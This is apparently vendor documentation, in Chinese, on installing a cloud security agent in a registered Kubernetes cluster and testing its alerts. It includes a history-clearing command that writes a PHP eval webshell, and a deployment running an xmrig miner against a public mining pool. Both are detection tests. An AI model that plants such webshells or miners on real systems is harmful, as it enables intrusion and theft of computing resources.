云安全中心是一个实时识别、分析、预警安全威胁的统一安全管理系统,通过防勒索、防病毒、防篡改、镜像安全扫描、合规检查等安全能力,帮助您实现威胁检测、响应、溯源的自动化安全运营闭环,保护云上资产和本地服务器,同时满足监管合规要求。本文介绍如何在注册集群上安装和使用云安全中心。
前提条件
-
已创建注册集群,并将自建Kubernetes集群接入注册集群。具体操作,请参见创建ACK One注册集群。
-
已开启云安全中心服务。具体操作,请参见购买云安全中心。
-
已通过kubectl连接Kubernetes集群。具体操作,请参见获取集群KubeConfig并通过kubectl工具连接集群。
背景信息
云安全中心通过安全告警,实时抵御恶意入侵、使用漏洞和基线配置检测、消除系统弱点、预防恶意攻击,提供安全态势分析和安全可视化界面,满足事后追溯和分析需求,帮助您建立完整的资产(包括公有云服务器、混合云服务器、容器、云产品等)安全防护体系。
步骤一:安装云安全中心
-
登录容器服务管理控制台,在左侧导航栏选择。
-
在应用市场页面,单击应用目录页签,搜索并选中ack-aegis-installer。
-
在ack-aegis-installer页面,单击一键部署。
-
在基本信息配置向导中,选择集群和命名空间,然后单击下一步。
-
配置ack-aegis-installer组件相关参数信息。
-
登录云安全中心控制台,在左侧导航栏选择。
-
在功能设置页面,单击客户端页签,然后单击安装命令页签,获取如下intall_key信息。
页面展示四种场景的安装命令:阿里云 Linux(wget 方式)、阿里云 Windows(PowerShell 方式)、云外主机 Linux(wget 方式)和 云外主机 Windows(PowerShell 方式)。每条命令末尾的
-k参数值即为对应的 install_key。根据服务器所在环境和操作系统选择对应命令,单击 复制命令 获取完整安装命令。 -
在参数配置页面,设置相应参数,然后单击确定。
重要若您的install_key信息未填写或填写错误,会导致云安全中心安装失败。
参数
说明
默认值
controller.cluster_id
集群ID
当前所选择的集群ID,自动注入。
controller.cluster_name
集群名称
当前所选择的集群名称,自动注入。
limit_cpu
CPU占用限制
200mlimit_memory
内存占用限制
128MiimagePullPolicy
镜像拉取策略
Alwaysinstall_key
客户端安装Key
默认为空,此处必须使用上一步获取的intall_key信息进行填充。
-
步骤二:使用云安全中心
通过两个攻防示例说明如何在注册集群中使用云安全中心。
示例一: 在Pod中执行可疑命令
-
使用以下内容,创建ubuntu.yaml文件。
apiVersion: v1 kind: Pod metadata: name: ubuntu labels: app: ubuntu spec: containers: - name: ubuntu image: ubuntu:latest command: ["/bin/sleep", "3650d"] imagePullPolicy: IfNotPresent restartPolicy: Always -
执行以下命令,部署Ubuntu测试Pod。
kubectl apply -f ubuntu.yaml -
执行以下命令,在已部署好的Pod中以匿名的方式执行一个可疑的WebShell写入行为。
bash -c "unset HISTFILE && echo '<?php @eval(\$_POST[\"x\"]); ?>' >shell.php" -
登录云安全中心控制台查看威胁检测结果。
在安全告警列表中出现三条攻击相关的事件告警,具体查看操作,请参见评估及处理安全告警。威胁检测结果显示三条告警记录:紧急程度为可疑的系统日志异常删除 进程异常行为 防御绕过,紧急程度为紧急的可疑命令执行 进程异常行为,以及紧急程度为紧急的发现后门(Webshell)文件 网站后门 持久化。受影响资产均为
worker-k8s-for-cs-开头的 K8s Worker 节点。每条告警可单击处理或详情进行操作。告警类型为进程异常行为-可疑命令执行,状态为待处理,ATT&CK矩阵ID为
T1505.003。命令行内容为bash -c unset HISTFILE && echo '<?php @eval($_POST["x"]); ?>' >shell.php,进程路径为/usr/bin/bash,进程ID为3705775。关联K8s Namespace为default,Pod名称为ubuntu,容器镜像为ubuntu:latest,容器主IP为10.73.0.32。进程链显示由containerd、containerd-shim、runc层级调用执行。
示例二:集群被植入挖矿容器
以下示例中的测试镜像基于真实的恶意挖矿镜像xmrig制作,用于模拟挖矿攻击。
-
导入测试的恶意挖矿镜像miner_image_xmrig.tar到指定的测试节点上。
-
使用以下内容,创建miner-test.yaml文件。
apiVersion: apps/v1 # for versions before 1.8.0 use apps/v1beta1 kind: Deployment metadata: name: miner-test labels: app: miner-test spec: replicas: 1 selector: matchLabels: app: miner-test template: metadata: labels: app: miner-test spec: containers: - name: miner-test image: xxxxx // 镜像地址。 args: ["-o xmr-eu2.nanopool.org:14444 -u AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -p worker -a rx/0"] -
执行以下命令,启动挖矿容器。
kubectl apply -f miner-test.yaml -
登录云安全中心控制台查看威胁检测结果。
关于威胁检测结果的具体查看操作,请参见评估及处理安全告警。威胁检测结果中,告警类型为恶意软件-挖矿程序,状态为待处理。告警详细信息包括:文件路径
/proc/1249610/root/xmrig/xmrig,扫描来源方式为进程启动扫描,检测方式为云查杀,进程命令行为./xmrig -o xmr-eu2.nanopool.org:14444 -u AAAA... -p worker -a rx/0,样本家族与特征为 Miner,XMRig。底部展示 K8s 关联信息:集群 ID 为 kubernetes,Namespace 为 default,容器名为 miner-test,镜像名为 miner-test:xmrig,容器内文件路径为/xmrig/xmrig。 -
执行以下命令,停止并删除该Deployment。
重要测试完成后,必须删除对应的Deployment。
kubectl delete Deployment miner-test